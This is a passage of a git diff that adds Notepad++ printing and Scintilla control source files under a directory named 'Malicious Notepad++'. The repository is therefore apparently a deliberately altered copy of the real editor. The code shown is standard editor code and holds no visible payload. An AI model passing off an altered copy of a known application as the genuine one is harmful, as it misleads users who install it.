_pdlg.nFromPage = 1; + _pdlg.nToPage = 1; + _pdlg.nMinPage = 1; + _pdlg.nMaxPage = 0xffffU; // We do not know how many pages in the + // document until the printer is selected and the paper size is known. + _pdlg.nCopies = 1; + _pdlg.hDC = 0; + _pdlg.hDevMode = NULL; + _pdlg.hDevNames = NULL; + _pdlg.lCustData = 0; + _pdlg.lpfnPrintHook = NULL; + _pdlg.lpfnSetupHook = NULL; + _pdlg.lpPrintTemplateName = NULL; + _pdlg.lpSetupTemplateName = NULL; + _pdlg.hPrintTemplate = NULL; + _pdlg.hSetupTemplate = NULL; + + // See if a range has been selected + _pdlg.Flags |= (_startPos != _endPos)?PD_SELECTION:PD_NOSELECTION; + + if (!showDialog) + { + // Don't display dialog box, just use the default printer and options + _pdlg.Flags |= PD_RETURNDEFAULT; + } + _isRTL = isRTL; +} + + + +size_t Printer::doPrint(bool justDoIt) +{/* + if (!::PrintDlg(&_pdlg)) + return 0; +*/ + + const NppGUI & nppGUI = (NppParameters::getInstance())->getNppGUI(); + + POINT ptPage; + POINT ptDpi; + + RECT rectMargins; + RECT rectPhysMargins; + RECT userMargins; + + // Get printer resolution + ptDpi.x = GetDeviceCaps(_pdlg.hDC, LOGPIXELSX); // dpi in X direction + ptDpi.y = GetDeviceCaps(_pdlg.hDC, LOGPIXELSY); // dpi in Y direction + + // Start by getting the physical page size (in device units). + ptPage.x = GetDeviceCaps(_pdlg.hDC, PHYSICALWIDTH); // device units + ptPage.y = GetDeviceCaps(_pdlg.hDC, PHYSICALHEIGHT); // device units + + // Get the dimensions of the unprintable + // part of the page (in device units). + rectPhysMargins.left = GetDeviceCaps(_pdlg.hDC, PHYSICALOFFSETX); + rectPhysMargins.top = GetDeviceCaps(_pdlg.hDC, PHYSICALOFFSETY); + + // To get the right and lower unprintable area, + // we take the entire width and height of the paper and + // subtract everything else. + rectPhysMargins.right = ptPage.x // total paper width + - GetDeviceCaps(_pdlg.hDC, HORZRES) // printable width + - rectPhysMargins.left; // left unprintable margin + + rectPhysMargins.bottom = ptPage.y // total paper height + - GetDeviceCaps(_pdlg.hDC, VERTRES) // printable height + - rectPhysMargins.top; // right unprintable margin + if (nppGUI._printSettings.isUserMargePresent()) + { + userMargins.left = MulDiv(nppGUI._printSettings._marge.left*100, ptDpi.x, 2540); + userMargins.top = MulDiv(nppGUI._printSettings._marge.top*100, ptDpi.y, 2540); + userMargins.right = MulDiv(nppGUI._printSettings._marge.right*100, ptDpi.x, 2540); + userMargins.bottom = MulDiv(nppGUI._printSettings._marge.bottom*100, ptDpi.y, 2540); + + rectMargins.left = max(rectPhysMargins.left, userMargins.left); + rectMargins.top = max(rectPhysMargins.top, userMargins.top); + rectMargins.right = max(rectPhysMargins.right, userMargins.right); + rectMargins.bottom = max(rectPhysMargins.bottom, userMargins.bottom); + } + else + { + rectMargins.left = rectPhysMargins.left; + rectMargins.top = rectPhysMargins.top; + rectMargins.right = rectPhysMargins.right; + rectMargins.bottom = rectPhysMargins.bottom; + } + // Convert device coordinates into logical coordinates + DPtoLP(_pdlg.hDC, (LPPOINT)&rectMargins, 2); + DPtoLP(_pdlg.hDC, (LPPOINT)&rectPhysMargins, 2); + + // Convert page size to logical units and we're done! + DPtoLP(_pdlg.hDC, &ptPage, 1); + + TEXTMETRIC tm; + + int fontSize = nppGUI._printSettings._headerFontSize?nppGUI._printSettings._headerFontSize:9; + int fontWeight = nppGUI._printSettings._headerFontStyle & (FONTSTYLE_BOLD?FW_BOLD:FW_NORMAL); + int isFontItalic = nppGUI._printSettings._headerFontStyle & (FONTSTYLE_ITALIC?TRUE:FALSE); + const TCHAR *fontFace = (nppGUI._printSettings._headerFontName != TEXT(""))?nppGUI._printSettings._headerFontName.c_str():TEXT("Arial"); + + int headerLineHeight = ::MulDiv(fontSize, ptDpi.y, 72); + //TCHAR toto[10]; + //::MessageBox(NULL, itoa(nppGUI._printSettings._headerFontStyle, toto, 10), TEXT("header"), MB_OK); + + HFONT fontHeader = ::CreateFont(headerLineHeight, + 0, 0, 0, + fontWeight, + isFontItalic, + FALSE, + 0, 0, 0, + 0, 0, 0, + fontFace); + + ::SelectObject(_pdlg.hDC, fontHeader); + ::GetTextMetrics(_pdlg.hDC, &tm); + headerLineHeight = tm.tmHeight + tm.tmExternalLeading; + + fontSize = nppGUI._printSettings._footerFontSize?nppGUI._printSettings._footerFontSize:9; + fontWeight = nppGUI._printSettings._footerFontStyle & (FONTSTYLE_BOLD?FW_BOLD:FW_NORMAL); + isFontItalic = nppGUI._printSettings._footerFontStyle & (FONTSTYLE_ITALIC?TRUE:FALSE); + fontFace = (nppGUI._printSettings._footerFontName != TEXT(""))?nppGUI._printSettings._footerFontName.c_str():TEXT("Arial"); + //::MessageBox(NULL, itoa(nppGUI._printSettings._footerFontStyle, , 10), TEXT("footer"), MB_OK); + + int footerLineHeight = ::MulDiv(fontSize, ptDpi.y, 72); + HFONT fontFooter = ::CreateFont(footerLineHeight, + 0, 0, 0, + fontWeight, + isFontItalic, + FALSE, + 0, 0, 0, + 0, 0, 0, + fontFace); + + ::SelectObject(_pdlg.hDC, fontFooter); + ::GetTextMetrics(_pdlg.hDC, &tm); + footerLineHeight = tm.tmHeight + tm.tmExternalLeading; + + + ::GetTextMetrics(_pdlg.hDC, &tm); + int printMarge = tm.tmHeight + tm.tmExternalLeading; + printMarge = printMarge + printMarge / 2; + + DOCINFO docInfo; + docInfo.cbSize = sizeof(DOCINFO); + docInfo.fwType = 0; + docInfo.lpszDocName = _pSEView->getCurrentBuffer()->getFullPathName(); + docInfo.lpszOutput = NULL; + docInfo.lpszDatatype = NULL; + + if (::StartDoc(_pdlg.hDC, &docInfo) < 0) + { + MessageBox(NULL, TEXT("Can not start printer document."), 0, MB_OK); + return 0; + } + + // By default, we will print all the document + long lengthPrinted = 0; + long lengthDoc = _pSEView->getCurrentDocLen(); + long lengthDocMax = lengthDoc; + + // In the case that the print dialog was launched and that there's a range of selection + // We print the range of selection + if ((!(_pdlg.Flags & PD_RETURNDEFAULT)) && (_pdlg.Flags & PD_SELECTION)) + { + if (_startPos > _endPos) + { + lengthPrinted = static_cast(_endPos); + lengthDoc = static_cast(_startPos); + } + else + { + lengthPrinted = static_cast(_startPos); + lengthDoc = static_cast(_endPos); + } + + if (lengthPrinted < 0) + lengthPrinted = 0; + if (lengthDoc > lengthDocMax) + lengthDoc = lengthDocMax; + } + + NPP_RangeToFormat frPrint; + frPrint.hdc = _pdlg.hDC; + frPrint.hdcTarget = _pdlg.hDC; + frPrint.rc.left = rectMargins.left - rectPhysMargins.left; + frPrint.rc.top = rectMargins.top - rectPhysMargins.top; + frPrint.rc.right = ptPage.x - rectMargins.right - rectPhysMargins.left; + frPrint.rc.bottom = ptPage.y - rectMargins.bottom - rectPhysMargins.top; + frPrint.rcPage.left = 0; + frPrint.rcPage.top = 0; + frPrint.rcPage.right = ptPage.x - rectPhysMargins.left - rectPhysMargins.right - 1; + frPrint.rcPage.bottom = ptPage.y - rectPhysMargins.top - rectPhysMargins.bottom - 1; + + frPrint.rc.top += printMarge; + frPrint.rc.bottom -= printMarge; + frPrint.rc.left += printMarge; + frPrint.rc.right -= printMarge; + + const int headerSize = 256; + TCHAR headerL[headerSize] = TEXT(""); + TCHAR headerM[headerSize] = TEXT(""); + TCHAR headerR[headerSize] = TEXT(""); + TCHAR footerL[headerSize] = TEXT(""); + TCHAR footerM[headerSize] = TEXT(""); + TCHAR footerR[headerSize] = TEXT(""); + + + const TCHAR shortDateVar[] = TEXT("$(SHORT_DATE)"); + const TCHAR longDateVar[] = TEXT("$(LONG_DATE)"); + const TCHAR timeVar[] = TEXT("$(TIME)"); + + const int bufferSize = 64; + TCHAR shortDate[bufferSize]; + TCHAR longDate[bufferSize]; + TCHAR time[bufferSize]; + + SYSTEMTIME st; + ::GetLocalTime(&st); + ::GetDateFormat(LOCALE_USER_DEFAULT, DATE_SHORTDATE, &st, NULL, shortDate, bufferSize); + ::GetDateFormat(LOCALE_USER_DEFAULT, DATE_LONGDATE, &st, NULL, longDate, bufferSize); + ::GetTimeFormat(LOCALE_USER_DEFAULT, TIME_NOSECONDS, &st, NULL, time, bufferSize); + + if (nppGUI._printSettings.isHeaderPresent()) + { + frPrint.rc.top += headerLineHeight + headerLineHeight / 2; + + generic_string headerLeftPart = nppGUI._printSettings._headerLeft; + if (headerLeftPart != TEXT("")) + { + replaceStr(headerLeftPart, shortDateVar, shortDate); + replaceStr(headerLeftPart, longDateVar, longDate); + replaceStr(headerLeftPart, timeVar, time); + expandNppEnvironmentStrs(headerLeftPart.c_str(), headerL, headerSize, _pdlg.hwndOwner); + } + + generic_string headerMiddlePart = nppGUI._printSettings._headerMiddle; + if (headerMiddlePart != TEXT("")) + { + replaceStr(headerMiddlePart, shortDateVar, shortDate); + replaceStr(headerMiddlePart, longDateVar, longDate); + replaceStr(headerMiddlePart, timeVar, time); + expandNppEnvironmentStrs(headerMiddlePart.c_str(), headerM, headerSize, _pdlg.hwndOwner); + } + + generic_string headerRightPart = nppGUI._printSettings._headerRight; + if (headerRightPart != TEXT("")) + { + replaceStr(headerRightPart, shortDateVar, shortDate); + replaceStr(headerRightPart, longDateVar, longDate); + replaceStr(headerRightPart, timeVar, time); + expandNppEnvironmentStrs(headerRightPart.c_str(), headerR, headerSize, _pdlg.hwndOwner); + } + + } + + if (nppGUI._printSettings.isFooterPresent()) + { + frPrint.rc.bottom -= footerLineHeight + footerLineHeight / 2; + + generic_string footerLeftPart = nppGUI._printSettings._footerLeft; + if (footerLeftPart != TEXT("")) + { + replaceStr(footerLeftPart, shortDateVar, shortDate); + replaceStr(footerLeftPart, longDateVar, longDate); + replaceStr(footerLeftPart, timeVar, time); + expandNppEnvironmentStrs(footerLeftPart.c_str(), footerL, headerSize, _pdlg.hwndOwner); + } + + generic_string footerMiddlePart = nppGUI._printSettings._footerMiddle; + if (footerMiddlePart != TEXT("")) + { + replaceStr(footerMiddlePart, shortDateVar, shortDate); + replaceStr(footerMiddlePart, longDateVar, longDate); + replaceStr(footerMiddlePart, timeVar, time); + expandNppEnvironmentStrs(footerMiddlePart.c_str(), footerM, headerSize, _pdlg.hwndOwner); + } + + generic_string footerRightPart = nppGUI._printSettings._footerRight; + if (footerRightPart != TEXT("")) + { + replaceStr(footerRightPart, shortDateVar, shortDate); + replaceStr(footerRightPart, longDateVar, longDate); + replaceStr(footerRightPart, timeVar, time); + expandNppEnvironmentStrs(footerRightPart.c_str(), footerR, headerSize, _pdlg.hwndOwner); + } + } + + + bool isShown = _pSEView->hasMarginShowed(ScintillaEditView::_SC_MARGE_LINENUMBER); + if (!nppGUI._printSettings._printLineNumber) + _pSEView->showMargin(ScintillaEditView::_SC_MARGE_LINENUMBER, false); + + size_t pageNum = 1; + const TCHAR pageVar[] = TEXT("$(CURRENT_PRINTING_PAGE)"); + + _pSEView->execute(SCI_SETPRINTCOLOURMODE, nppGUI._printSettings._printOption); // setting mode once is enough + while (lengthPrinted < lengthDoc) + { + bool printPage = (!(_pdlg.Flags & PD_PAGENUMS) || + (pageNum >= _pdlg.nFromPage) && (pageNum <= _pdlg.nToPage)); + + if (!justDoIt) + printPage = false; + + TCHAR pageString[32]; + wsprintf(pageString, TEXT("%0d"), pageNum); + + if (printPage) + { + ::StartPage(_pdlg.hDC); + + if (nppGUI._printSettings.isHeaderPresent()) + { + ::SelectObject(_pdlg.hDC, fontHeader); + + ::SetTextColor(_pdlg.hDC, RGB(0, 0, 0)); + ::SetBkColor(_pdlg.hDC, RGB(255, 255, 255)); + + UINT oldTASettings = ::SetTextAlign(_pdlg.hDC, _isRTL ? TA_RTLREADING | TA_BOTTOM : TA_BOTTOM); + RECT rcw = {frPrint.rc.left, frPrint.rc.top - headerLineHeight - headerLineHeight / 2, + frPrint.rc.right, frPrint.rc.top - headerLineHeight / 2}; + rcw.bottom = rcw.top + headerLineHeight; + + + SIZE size; + + // Left part + if (headerL[0] != '\0') + { + generic_string headerLeft(headerL); + size_t pos = headerLeft.find(pageVar); + + if (pos != headerLeft.npos) + headerLeft.replace(pos, lstrlen(pageVar), pageString); + + ::ExtTextOut(_pdlg.hDC, frPrint.rc.left + 5, frPrint.rc.top - headerLineHeight / 2, + ETO_OPAQUE, &rcw, headerLeft.c_str(), static_cast(headerLeft.length()), NULL); + } + + // Middle part + if (headerM[0] != '\0') + { + generic_string headerMiddle(headerM); + size_t pos = headerMiddle.find(pageVar); + if (pos != headerMiddle.npos) + headerMiddle.replace(pos, lstrlen(pageVar), pageString); + + ::GetTextExtentPoint32(_pdlg.hDC, headerMiddle.c_str(), static_cast(headerMiddle.length()), &size); + ::ExtTextOut(_pdlg.hDC, ((frPrint.rc.right - frPrint.rc.left)/2 + frPrint.rc.left) - (size.cx/2), frPrint.rc.top - headerLineHeight / 2, + ETO_CLIPPED, &rcw, headerMiddle.c_str(), static_cast(headerMiddle.length()), NULL); + } + // Right part + if (headerR[0] != '\0') + { + generic_string headerRight(headerR); + size_t pos = headerRight.find(pageVar); + if (pos != headerRight.npos) + headerRight.replace(pos, lstrlen(pageVar), pageString); + + ::GetTextExtentPoint32(_pdlg.hDC, headerRight.c_str(), static_cast(headerRight.length()), &size); + ::ExtTextOut(_pdlg.hDC, frPrint.rc.right - size.cx, frPrint.rc.top - headerLineHeight / 2, + ETO_CLIPPED, &rcw, headerRight.c_str(), static_cast(headerRight.length()), NULL); + } + + ::SetTextAlign(_pdlg.hDC, oldTASettings); + HPEN pen = ::CreatePen(0, 1, 0x00000000); + HPEN penOld = static_cast(::SelectObject(_pdlg.hDC, pen)); + ::MoveToEx(_pdlg.hDC, frPrint.rc.left, frPrint.rc.top - headerLineHeight / 4, NULL); + ::LineTo(_pdlg.hDC, frPrint.rc.right, frPrint.rc.top - headerLineHeight / 4); + ::SelectObject(_pdlg.hDC, penOld); + ::DeleteObject(pen); + } + } + + frPrint.chrg.cpMin = lengthPrinted; + frPrint.chrg.cpMax = lengthDoc; + lengthPrinted = long(_pSEView->execute(SCI_FORMATRANGE, printPage, reinterpret_cast(&frPrint))); + + if (printPage) + { + if (nppGUI._printSettings.isFooterPresent()) + { + ::SelectObject(_pdlg.hDC, fontFooter); + + ::SetTextColor(_pdlg.hDC, RGB(0, 0, 0)); + ::SetBkColor(_pdlg.hDC, RGB(255, 255, 255)); + + UINT oldta = ::SetTextAlign(_pdlg.hDC, _isRTL ? TA_RTLREADING | TA_TOP : TA_TOP); + RECT rcw = {frPrint.rc.left, frPrint.rc.bottom + footerLineHeight / 2, + frPrint.rc.right, frPrint.rc.bottom + footerLineHeight + footerLineHeight / 2}; + + SIZE size; + + // Left part + if (footerL[0] != '\0') + { + generic_string footerLeft(footerL); + size_t pos = footerLeft.find(pageVar); + if (pos != footerLeft.npos) + footerLeft.replace(pos, lstrlen(pageVar), pageString); + + ::ExtTextOut(_pdlg.hDC, frPrint.rc.left + 5, frPrint.rc.bottom + footerLineHeight / 2, + ETO_OPAQUE, &rcw, footerLeft.c_str(), static_cast(footerLeft.length()), NULL); + } + + // Middle part + if (footerM[0] != '\0') + { + generic_string footerMiddle(footerM); + size_t pos = footerMiddle.find(pageVar); + if (pos != footerMiddle.npos) + footerMiddle.replace(pos, lstrlen(pageVar), pageString); + + ::GetTextExtentPoint32(_pdlg.hDC, footerMiddle.c_str(), static_cast(footerMiddle.length()), &size); + ::ExtTextOut(_pdlg.hDC, ((frPrint.rc.right - frPrint.rc.left)/2 + frPrint.rc.left) - (size.cx/2), frPrint.rc.bottom + footerLineHeight / 2, + ETO_CLIPPED, &rcw, footerMiddle.c_str(), static_cast(footerMiddle.length()), NULL); + } + // Right part + if (footerR[0] != '\0') + { + generic_string footerRight(footerR); + size_t pos = footerRight.find(pageVar); + if (pos != footerRight.npos) + footerRight.replace(pos, lstrlen(pageVar), pageString); + ::GetTextExtentPoint32(_pdlg.hDC, footerRight.c_str(), static_cast(footerRight.length()), &size); + ::ExtTextOut(_pdlg.hDC, frPrint.rc.right - size.cx, frPrint.rc.bottom + footerLineHeight / 2, + ETO_CLIPPED, &rcw, footerRight.c_str(), static_cast(footerRight.length()), NULL); + } + + ::SetTextAlign(_pdlg.hDC, oldta); + HPEN pen = ::CreatePen(0, 1, 0x00000000); + HPEN penOld = static_cast(::SelectObject(_pdlg.hDC, pen)); + + ::MoveToEx(_pdlg.hDC, frPrint.rc.left, frPrint.rc.bottom + footerLineHeight / 4, NULL); + ::LineTo(_pdlg.hDC, frPrint.rc.right, frPrint.rc.bottom + footerLineHeight / 4); + ::SelectObject(_pdlg.hDC, penOld); + ::DeleteObject(pen); + } + + ::EndPage(_pdlg.hDC); + } + + ++pageNum; + + if ((_pdlg.Flags & PD_PAGENUMS) && (pageNum > _pdlg.nToPage)) + break; + } + + if (!nppGUI._printSettings._printLineNumber) + _pSEView->showMargin(ScintillaEditView::_SC_MARGE_LINENUMBER, isShown); + + _pSEView->execute(SCI_FORMATRANGE, FALSE, 0); + ::EndDoc(_pdlg.hDC); + ::DeleteDC(_pdlg.hDC); + + if (fontHeader) + ::DeleteObject(fontHeader); + + if (fontFooter) + ::DeleteObject(fontFooter); + + return (pageNum - 1); +} + + diff --git a/Malicious Notepad++/src/ScitillaComponent/Printer.h b/Malicious Notepad++/src/ScitillaComponent/Printer.h new file mode 100644 index 0000000..6bae283 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/Printer.h @@ -0,0 +1,67 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef PRINTER_H +#define PRINTER_H + +#ifndef SCINTILLA_EDIT_VIEW_H +#include "ScintillaEditView.h" +#endif //SCINTILLA_EDIT_VIEW_H + + +struct NPP_RangeToFormat { + HDC hdc; + HDC hdcTarget; + RECT rc; + RECT rcPage; + CharacterRange chrg; +}; + +class Printer +{ +public : + Printer(){}; + void init(HINSTANCE hInst, HWND hwnd, ScintillaEditView *pSEView, bool showDialog, int startPos, int endPos, bool isRTL = false); + size_t doPrint() { + if (!::PrintDlg(&_pdlg)) + return 0; + + return doPrint(true); + }; + size_t doPrint(bool justDoIt); + +private : + PRINTDLG _pdlg; + ScintillaEditView *_pSEView = nullptr; + size_t _startPos = 0; + size_t _endPos = 0; + size_t _nbPageTotal =0; + bool _isRTL = false; +}; + +#endif //PRINTER_H diff --git a/Malicious Notepad++/src/ScitillaComponent/ScintillaCtrls.cpp b/Malicious Notepad++/src/ScitillaComponent/ScintillaCtrls.cpp new file mode 100644 index 0000000..81a791a --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/ScintillaCtrls.cpp @@ -0,0 +1,82 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#include "ScintillaCtrls.h" +#include "ScintillaEditView.h" + +HWND ScintillaCtrls::createSintilla(HWND hParent) +{ + _hParent = hParent; + ScintillaEditView *scint = new ScintillaEditView; + scint->init(_hInst, _hParent); + _scintVector.push_back(scint); + return scint->getHSelf(); +} + +int ScintillaCtrls::getIndexFrom(HWND handle2Find) +{ + for (size_t i = 0, len = _scintVector.size(); i < len ; ++i) + { + if (_scintVector[i]->getHSelf() == handle2Find) + { + return static_cast(i); + } + } + return -1; +} + +ScintillaEditView * ScintillaCtrls::getScintillaEditViewFrom(HWND handle2Find) +{ + int i = getIndexFrom(handle2Find); + if (i == -1 || size_t(i) >= _scintVector.size()) + return NULL; + return _scintVector[i]; +} + +bool ScintillaCtrls::destroyScintilla(HWND handle2Destroy) +{ + int i = getIndexFrom(handle2Destroy); + if (i == -1) + return false; + + _scintVector[i]->destroy(); + delete _scintVector[i]; + + std::vector::iterator it2delete = _scintVector.begin()+ i; + _scintVector.erase(it2delete); + return true; +} + +void ScintillaCtrls::destroy() +{ + for (size_t i = 0, len = _scintVector.size(); i < len ; ++i) + { + _scintVector[i]->destroy(); + delete _scintVector[i]; + } +} diff --git a/Malicious Notepad++/src/ScitillaComponent/ScintillaCtrls.h b/Malicious Notepad++/src/ScitillaComponent/ScintillaCtrls.h new file mode 100644 index 0000000..81b4a61 --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/ScintillaCtrls.h @@ -0,0 +1,56 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + + +#ifndef SCINTILLACTRLS_H +#define SCINTILLACTRLS_H + +#include +#include + +class ScintillaEditView; + +class ScintillaCtrls { +public : + void init(HINSTANCE hInst, HWND hNpp) { + _hInst = hInst; + _hParent = hNpp; + }; + + HWND createSintilla(HWND hParent); + ScintillaEditView * getScintillaEditViewFrom(HWND handle2Find); + bool destroyScintilla(HWND handle2Destroy); + void destroy(); + +private: + std::vector _scintVector; + HINSTANCE _hInst; + HWND _hParent; + int getIndexFrom(HWND handle2Find); +}; + +#endif //SCINTILLACTRLS_H diff --git a/Malicious Notepad++/src/ScitillaComponent/ScintillaEditView.cpp b/Malicious Notepad++/src/ScitillaComponent/ScintillaEditView.cpp new file mode 100644 index 0000000..3cbdd3f --- /dev/null +++ b/Malicious Notepad++/src/ScitillaComponent/ScintillaEditView.cpp @@ -0,0 +1,3459 @@ +// This file is part of Notepad++ project +// Copyright (C)2003 Don HO +// +// This program is free software; you can redistribute it and/or +// modify it under the terms of the GNU General Public License +// as published by the Free Software Foundation; either +// version 2 of the License, or (at your option) any later version. +// +// Note that the GPL places important restrictions on "derived works", yet +// it does not provide a detailed definition of that term. To avoid +// misunderstandings, we consider an application to constitute a +// "derivative work" for the purpose of this license if it does any of the +// following: +// 1. Integrates source code from Notepad++. +// 2. Integrates/includes/aggregates Notepad++ into a proprietary executable +// installer, such as those produced by InstallShield. +// 3. Links to a library or executes a program that does any of the above. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with this program; if not, write to the Free Software +// Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA. + +#include +#include +#include "ScintillaEditView.h" +#include "Parameters.h" +#include "Sorters.h" +#include "tchar.h" +#include "verifySignedFile.h" + +using namespace std; + +// initialize the static variable + +// get full ScinLexer.dll path to avoid hijack +TCHAR * getSciLexerFullPathName(TCHAR * moduleFileName, size_t len) +{ + ::GetModuleFileName(NULL, moduleFileName, static_cast(len)); + ::PathRemoveFileSpec(moduleFileName); + ::PathAppend(moduleFileName, TEXT("SciLexer.dll")); + return moduleFileName; +}; + +HINSTANCE ScintillaEditView::_hLib = loadSciLexerDll(); +int ScintillaEditView::_refCount = 0; +UserDefineDialog ScintillaEditView::_userDefineDlg; + +const int ScintillaEditView::_SC_MARGE_LINENUMBER = 0; +const int ScintillaEditView::_SC_MARGE_SYBOLE = 1; +const int ScintillaEditView::_SC_MARGE_FOLDER = 2; +//const int ScintillaEditView::_SC_MARGE_MODIFMARKER = 3; + +WNDPROC ScintillaEditView::_scintillaDefaultProc = NULL; +string ScintillaEditView::_defaultCharList = ""; + +/* +SC_MARKNUM_* | Arrow Plus/minus Circle tree Box tree +------------------------------------------------------------------------------------------------------------- +FOLDEROPEN | SC_MARK_ARROWDOWN SC_MARK_MINUS SC_MARK_CIRCLEMINUS SC_MARK_BOXMINUS +FOLDER | SC_MARK_ARROW SC_MARK_PLUS SC_MARK_CIRCLEPLUS SC_MARK_BOXPLUS +FOLDERSUB | SC_MARK_EMPTY SC_MARK_EMPTY SC_MARK_VLINE SC_MARK_VLINE +FOLDERTAIL | SC_MARK_EMPTY SC_MARK_EMPTY SC_MARK_LCORNERCURVE SC_MARK_LCORNER +FOLDEREND | SC_MARK_EMPTY SC_MARK_EMPTY SC_MARK_CIRCLEPLUSCONNECTED SC_MARK_BOXPLUSCONNECTED +FOLDEROPENMID | SC_MARK_EMPTY SC_MARK_EMPTY SC_MARK_CIRCLEMINUSCONNECTED SC_MARK_BOXMINUSCONNECTED +FOLDERMIDTAIL | SC_MARK_EMPTY SC_MARK_EMPTY SC_MARK_TCORNERCURVE SC_MARK_TCORNER +*/ + +const int ScintillaEditView::_markersArray[][NB_FOLDER_STATE] = { + {SC_MARKNUM_FOLDEROPEN, SC_MARKNUM_FOLDER, SC_MARKNUM_FOLDERSUB, SC_MARKNUM_FOLDERTAIL, SC_MARKNUM_FOLDEREND, SC_MARKNUM_FOLDEROPENMID, SC_MARKNUM_FOLDERMIDTAIL}, + {SC_MARK_MINUS, SC_MARK_PLUS, SC_MARK_EMPTY, SC_MARK_EMPTY, SC_MARK_EMPTY, SC_MARK_EMPTY, SC_MARK_EMPTY}, + {SC_MARK_ARROWDOWN, SC_MARK_ARROW, SC_MARK_EMPTY, SC_MARK_EMPTY, SC_MARK_EMPTY, SC_MARK_EMPTY, SC_MARK_EMPTY}, + {SC_MARK_CIRCLEMINUS, SC_MARK_CIRCLEPLUS,SC_MARK_VLINE, SC_MARK_LCORNERCURVE, SC_MARK_CIRCLEPLUSCONNECTED, SC_MARK_CIRCLEMINUSCONNECTED, SC_MARK_TCORNERCURVE}, + {SC_MARK_BOXMINUS, SC_MARK_BOXPLUS, SC_MARK_VLINE, SC_MARK_LCORNER, SC_MARK_BOXPLUSCONNECTED, SC_MARK_BOXMINUSCONNECTED, SC_MARK_TCORNER} +}; + +// Array with all the names of all languages +// The order of lang type (enum LangType) must be respected +LanguageName ScintillaEditView::langNames[L_EXTERNAL+1] = { +{TEXT("normal"), TEXT("Normal text"), TEXT("Normal text file"), L_TEXT, SCLEX_NULL}, +{TEXT("php"), TEXT("PHP"), TEXT("PHP Hypertext Preprocessor file"), L_PHP, SCLEX_HTML}, +{TEXT("c"), TEXT("C"), TEXT("C source file"), L_C, SCLEX_CPP}, +{TEXT("cpp"), TEXT("C++"), TEXT("C++ source file"), L_CPP, SCLEX_CPP}, +{TEXT("cs"), TEXT("C#"), TEXT("C# source file"), L_CS, SCLEX_CPP}, +{TEXT("objc"), TEXT("Objective-C"), TEXT("Objective-C source file"), L_OBJC, SCLEX_CPP}, +{TEXT("java"), TEXT("Java"), TEXT("Java source file"), L_JAVA, SCLEX_CPP}, +{TEXT("rc"), TEXT("RC"), TEXT("Windows Resource file"), L_RC, SCLEX_CPP}, +{TEXT("html"), TEXT("HTML"), TEXT("Hyper Text Markup Language file"), L_HTML, SCLEX_HTML}, +{TEXT("xml"), TEXT("XML"), TEXT("eXtensible Markup Language file"), L_XML, SCLEX_XML}, +{TEXT("makefile"), TEXT("Makefile"), TEXT("Makefile"), L_MAKEFILE, SCLEX_MAKEFILE}, +{TEXT("pascal"), TEXT("Pascal"), TEXT("Pascal source file"), L_PASCAL, SCLEX_PASCAL}, +{TEXT("batch"), TEXT("Batch"), TEXT("Batch file"), L_BATCH, SCLEX_BATCH}, +{TEXT("ini"), TEXT("ini"), TEXT("MS ini file"), L_INI, SCLEX_PROPERTIES}, +{TEXT("nfo"), TEXT("NFO"), TEXT("MSDOS Style/ASCII Art"), L_ASCII, SCLEX_NULL}, +{TEXT("udf"), TEXT("udf"), TEXT("User Define File"), L_USER, SCLEX_USER}, +{TEXT("asp"), TEXT("ASP"), TEXT("Active Server Pages script file"), L_ASP, SCLEX_HTML}, +{TEXT("sql"), TEXT("SQL"), TEXT("Structured Query Language file"), L_SQL, 